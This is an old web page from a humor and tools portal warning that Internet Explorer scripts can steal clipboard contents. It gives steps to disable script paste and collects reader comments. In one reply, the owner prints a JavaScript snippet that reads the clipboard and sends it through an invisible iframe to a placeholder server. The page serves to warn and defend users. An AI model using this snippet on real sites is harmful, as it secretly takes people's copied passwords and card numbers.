Comic Strip Generator - Create funny comic strips online without the need of software installed. Great way to mask your email or hide text from e-mail harvesting spam bots and search engines. Create one cartoon cel at a time online (no software needed, any operating system)! Let's you make over 40,000 styles of banners (over 1,000 image banner blanks)! Make them online VIA web based image editing applications that run off a website (no software install required). Need to advertise your site or offer a banner for people to link to your site? Well here is the perfect banner maker that lets you choose from a selection of over 25,000 images (almost a 1,000 professional designs of graphics) and backgrounds to use! Just choose a banner, then you can add 2 lines of text right into the image for free downloading! Choose from hundreds more dynamic text-to-image making fun (make banners, ecards, buttons, signs, posters, etc). Make you own custom celeb gossip caption images (change captions in the speech/thought bubble). Links and samples of other dynamic text-to-image generators we have stumbled upon during our web surfing experiences.
the comedy search engine & portal for humor related websites. From streaming prank radio to jokes about anyone and everyone! Covering crisises from natural disasters (earthquakes, floods, hurricanes, tsunamis, etc) to terrorism (man made disaster and even war mongering). Learn about the emergency supplies you need to get, and learn more about how to prepare and make you, your family, and your neighborhood safer in the event of state emergency or disaster. Many emergency supplies, and supplies for whole neighborhoods, businesses and community agencies should be available for buying and ordering at public shopping outlets like HomeDepot (generators to storm proofing materials, even make your own safe room). Please as for or suggest demonstrations and hands-on exhibits that will give you an opportunity to familiarize yourself with emergency equipment and techniques. Homelessness humanitarian search engine and poverty helping portal! I have been homeless many times in the past so I wanted to help some how...

Text From Your Clipboard?

It is true, text you last copied for pasting (copy & paste) can be stolen when you visit web sites using a combination of JavaScript and ASP (or PHP, or CGI) to write your possible sensitive data to a database on another server. Hopefully you haven't copied a credit card number recently before surfing! This page will clear your clipboard, also a talking animated character will let you know if copied text was gathered before it gets cleared. See other free web tools HERE.  (comments)

Fortunately, the fix for this is also quite simple:

1. In Internet Explorer, go to Tools -> Internet Options -> Security
2. Click on Custom Level (preview image).
3. In the security settings, click to Disable the “Allow Paste Operations via Script.” That will keep your clipboard contents private (screen capture preview).

Friendly Canadian Search Engine And Community Web Portal - Canada Content Links and Chat


Some comments relating to this Clipboard security breach/flaw/exploit:

I copy and paste my passwords all the time because I can never remember them. Great tip! It's scary to imagine all the people out there (70-90% of web browser/operating system market, right?) that could be surfing with their clipboards easily viewable by malicious web sites.
I do not believe that anyone can use Javascript on client side to move it to server side so the server could steal your data with asp or php, it is not possible, stop trying to be a dumbass and scare the internet newbies, that is cowardly just so you get attention with this page, lame....

Our reply:

<script>var content = clipboardData.getData("Text"); if (content!=null) { document.write("<iframe width='0' height='0' src='http://www.somesite.ext/data2database.asp?variable="+content+"'></iframe>");}</script>

Now there is a simple example I can come up with just at the top of my head that would transport such text to a server variable, plus it would not even be noticed on the web page as the sizes are set to 0 to make it 0x0 pixels (which computer will make invisible when viewing normal webpage)! Now what you think of that?

You should not have forced me to prove it (but I have received many emails calling me a liar) as now that I have had to prove myself (now bloggers were "dissing" me in public blogs and forums), this exploit will become common knowledge and possibly even more people will exploit you...
WOAH, I never knew that. That is seriously bad! I'm kinda scared now because I've started to use CTRl+C more and more and stuff.

Our reply:

You can self patch/fix it, instructions at above this table of comments.
Weird, it doesn't work on Firefox (well, for me) and the last thing I copied wasn't right when I viewed it on IE. Anyway, thanks for the tip. That's something that people will want to bear in mind, considering that it's an overlooked feature and all. We usually trust the innocent Ctrl+C that we don't know about the flaw it has. Sigh... why does it have something to do with Javascript and the like? It's so annoying...

Our reply:

This exploit only works on Microsoft Internet Explorer (when IE security is not set to high) or Netscape explorer only when Javascript is enabled. About 70% of internet surfers may be "infected" (affected). Some firewalls (not enough brands do this yet) will block clipboard gathering (not sure what one).
Do not keep sensitive data (like passwords, credit card numbers, PIN etc.) in the clipboard while surfing the web. It is extremely easy to extract the text stored in the clipboard to steal your sensitive information. If sufficient data is stored by mistake it would give away confidential and important information without you knowing about it.
Yeah this is certainly a great tip!
I used to copy and paste my passwords but now i am not going to that anymore.
thanks again buddy!
Thanks for posting this vital info...i use ctrl C all the time but not for sensitive data...i did not know clipboard was so easily accessible. well it even goes through my firewall. thanks for posting that warning, identity theft is already enough of a problem!
Everyone who uses a computer quickly learns how to cut and paste information from one location on the computer another using Microsoft Windows Clipboard. Of course, the Clipboard is a temporary storage area within Windows that holds the copied information. Is this process dangerous to use when on the internet? Well, it seems so as your site has demonstrated simply...
See more comments HERE or more public responses HERE. Post a comment HERE.